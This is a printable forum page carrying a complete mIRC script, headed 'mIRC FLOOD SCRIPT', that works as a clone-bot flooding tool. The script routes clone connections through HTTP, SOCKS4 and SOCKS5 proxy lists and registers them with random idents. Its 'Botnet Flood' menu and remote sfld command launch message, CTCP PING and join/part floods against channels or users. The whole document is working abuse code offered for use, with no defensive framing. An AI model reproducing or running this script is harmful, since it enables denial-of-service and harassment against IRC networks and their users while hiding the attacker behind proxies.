mIRC FLOOD SCRIPT - Printable Version

Code
on *:SOCKOPEN:flooderpxy*:{ 

  if ($sockerr > 0) { loadflood %fldserver %fldport | return }

  ident.scan $sockname %fldserver %fldport 

}

on 1:SOCKOPEN:flooders4*:{

  if ($sockerr > 0) { loadflood %fldserver %fldport | return }

  .bset &bvar4 1 4 1 $gettok($longip(%fldport),3,46) $gettok($longip(%fldport),4,46) $replace(%fldserver,.,$chr(32)) 0

  .sockwrite -n $sockname &bvar4 

  .bunset &bvar4   

}

on 1:SOCKOPEN:flooders5*:{

  if ($sockerr > 0) { loadflood %fldserver %fldport | return }

  .bset &bvar5 1 5 1 0 

  .sockwrite -n $sockname &bvar5 

  .bunset &bvar5   

}

alias ident.scan { sockwrite -n $1 CONNECT $+($iif($2 == $null,$serverip,$2), :,$iif($3 == $null,$port,$3)) HTTP/1. $+ $r(0,1) $crlf | sockwrite -n $1 $crlf | sockwrite -n $1 $crlf }

alias flood {

  if ($2 != $null) { .sockwrite -n fl* join $1 | .sockwrite -n fl* PRivmsg $1 : $+ $2- | /return }

  if ($chr(35) isin $1) {

    .sockwrite -n fl* join $1

    .flood1 $1

  }

} 

alias flood1 {

  %site = $read(system\files\s.ax)

  /sockwrite -n fl* privmsg $1 : $+ %site @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

}

alias flood2 {

  /sockwrite -n fl* privmsg $1  : $+ $fld

}

alias jp {

  %site = $read(system\files\s.ax)

  sockwrite -n fl* join $1

  sockwrite -n fl* part $1 : $+ %site

}

alias pingflood {

  sockwrite -n fl* NOTICE $1 : $+ $chr(1) $+ PING @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ $+ $chr(1)

}

alias pingflood2 {

  sockwrite -n fl* PRIVMSG $1 : $+ $chr(1) $+ PING $+ $chr(1)

}

on 1:SOCKCLOSE:fl*:.timer $+ $sockname 1 10 loadflood %fldserver %fldport

on *:SOCKREAD:flooderpxy*:{

  ;if ($sockbr) return

  sockread %flooder

  tokenize 32 %flooder

  if ($gettok(%flooder,1,32) == PING) { sockwrite -n $sockname PONG $remove($gettok(%flooder,2,32),:) }

  if ($gettok(%flooder,2,32) == 200) { 

    sockrename $sockname fld $+ $remove($sockname,flooderpxy)

  }

}

on 1:SOCKREAD:flooders4*:{

  ;if ($sockbr) return

  .sockread &bsocks4 

  if (PING isin $bvar(&bsocks4,1,$bvar(&bsocks4,0)).text) sockwrite -n $sockname PONG $remove($gettok($bvar(&bsocks4,1,$bvar(&bsocks4,0)).text,$calc($findtok($bvar(,1,$bvar(&bsocks4,0)).text,PING,32)+1),32),:)

  if ($bvar(&bsocks4,2) == 90) { 

    sockwrite -n $sockname $crlf

    sockwrite -n $sockname $crlf

    sockrename $sockname fld $+ $remove($sockname,flooders4)

  }

}

on 1:SOCKREAD:flooders5*:{

  ;if ($sockbr) return

  .sockread &bsocks5 

  if (PING isin $bvar(&bsocks5,1,$bvar(&bsocks5,0)).text) sockwrite -n $sockname PONG $remove($gettok($bvar(&bsocks5,1,$bvar(&bsocks5,0)).text,$calc($findtok($bvar(&bsocks5,1,$bvar(&bsocks5,0)).text,PING,32)+1),32),:)

  if ($bvar(&bsocks5,1,2) == 5 0) && ($bvar(&bsocks5,3) != 0) { 

    .bset &socks5 1 5 1 0 1 $replace(%fldserver,.,$chr(32)) $gettok($longip(%fldport),3,46) $gettok($longip(%fldport),4,46)

    .sockwrite -n $sockname &socks5 

    .bunset &socks5 

    sockwrite -n $sockname $crlf

    sockwrite -n $sockname $crlf

    sockrename $sockname fld $+ $remove($sockname,flooders5)

  } 

}

on 1:SOCKREAD:fld*:{

  sockread %fld

  tokenize 32 %fld

  if ($1 == PING) { sockwrite -n $sockname PONG $remove($2,:) }

  if (*NOTICE AUTH* iswm $1-3) || (451 == $2) || (43* iswm $2) && (!$sock($sockname).mark) {

    sockmark $sockname c

    .timerNICK $+ $sockname 1 1 sockwrite -n $sockname NICK $read(system\files\ident.txt) 

    .timerUSR $+ $sockname 1 1 sockwrite -n $sockname USER $read(system\files\ident.txt)  "." "." : $+ $read(system\files\ident.txt)  

    .timerJOIN $+ $sockname 1 2 $iif(%fldchan != $null,sockwrite -n $sockname JOIN %fldchan)

  }

}

alias fldcolor { return [ [ $read(system\files\fldcolor.txt,p) ] ] }

alias fld { return : $+ [ [ $read(system\files\fldcolor.txt,p) ] ] }

alias f7 {

  %fldserver = $$?="IRC Server IP ONLY"

  %fldport = $$?="on Port? (6667)"

  %fldam = $$?="Ammount? (Recommanded: 50 - 200)"

  %fldnick = $me

  %fldtime = 0

  $iif($chr(35) isin $active,%fldchan = $active,unset %fldchan)

  echo -a Loading on %fldserver $+ : $+ %fldport ...Please wait it may take a while.

  .timerLOADCLONES %fldam %fldtime loadflood %fldserver %fldport

}

alias sfld {  

  %fldserver = $1

  %fldport = $2

  if ($3) %fldam = $3

  if (!$3) %fldam = 100

  %fldnick = $nick

  if (. !isin $1) {  .notice $NICK Format: sfld <Server> <Port> [Ammount] | return } 

  if ($2 !isnum) {  .notice $nick Format: sfld <Server> <Port> [Ammount] | return } 

  if (!$isfile($pxy)) { .notice $nick No such file $pxy . | return }

  .notice $nick Load: $1 $2 Am: %fldam ... Please wait...

  .timerLOADCLONES %fldam 0 loadflood %fldserver %fldport

  return

}

alias SF7 { sockclose fl* }

alias f8 {

  echo -a Flooding $active

  flood $active

}

alias loadflood { 

  set %rand $r(0,99)

  set %temp.proxy $proxy

  if (pxy isin %temp.proxy) { sockopen flooderpxy $+ %rand $gettok(%temp.proxy,1-2,32) }

  if (s4 isin %temp.proxy) { sockopen flooders4 $+ %rand  $gettok(%temp.proxy,1-2,32) }

  if (s5 isin %temp.proxy) { sockopen flooders5 $+ %rand  $gettok(%temp.proxy,1-2,32) }

}

menu nicklist,query,chat {

  -

  Botnet Flood

  .LOAD BOTS (F7): f7

  .KILL BOTS (Shift+F7):sockclose flood*

  .-

  .Query Flood $1 (use F8): /flood $1

  .Ping flood $1 : /pingflood $1

  -

}

menu menubar,status {

  -

  Botnet Flood

  .LOAD BOTS (F7): f7

  .KILL BOTS (Shift+F7):sockclose flood*

  .-

  .JOIN BOTS: ss join $?="#Channel"

  .PART BOTS: ss part $?="#Channel"

  .JOIN/PART Flood: jp $?="#Channel"

  .PRIVMSG flood (use F8): /flood $?="Channel/nickname ?" $?="Text (optional)"

  .Ping flood: /pingflood $?="Channel/nickname ?"

  -

}

menu channel {

  -

  Botnet Flood

  .LOAD BOTS (F7): f7 

  .KILL BOTS (Shift+F7):sockclose flood*

  .-

  .JOIN BOTS IN # : ss join #

  .PART BOTS: ss part # %site

  .JOIN/PART flood: jp # 

  .MSG Flood # (use F8): /flood #

  .Ping flood: /pingflood #

  -

}

alias proxy { 

  :R

  set %randomnumber $r(1,3)

  if (%randomnumber = 1) && ($isfile(sock4.txt)) {

    :S4

    inc %p.incs4

    set %p.maxs4 $lines(sock4.txt)

    set %s4 $replace($read(sock4.txt,%p.incs4),:,$chr(32))

    if (%p.incs4 >= %p.maxs4) { unset %p.incs4 | goto s4 }

    return %s4 s4

  }

  if (!isfile(sock4.txt)) && (%randomnumber == 1) goto r

  if (%randomnumber = 2) && ($isfile(sock5.txt))  {

    :S5

    inc %p.incs5

    set %p.maxs5 $lines(sock5.txt)

    set %s5 $replace($read(sock5.txt,%p.incs5),:,$chr(32))

    if (%p.incs5 >= %p.maxs5) { unset %p.incs5 | goto s5 }

    return %s5 s5

  }

  if (!isfile(sock5.txt)) && (%randomnumber == 2) goto r

  if (%randomnumber = 3)  && ($isfile($pxy)) {

    :PROXY

    inc %p.inc

    set %p.max $lines($pxy)

    set %pxy $replace($read($pxy,%p.inc),:,$chr(32))

    if (%p.inc >= %p.max) { unset %p.inc | goto PROXY }

    return %pxy pxy

  }

}

alias pxy return IRCproxys.txt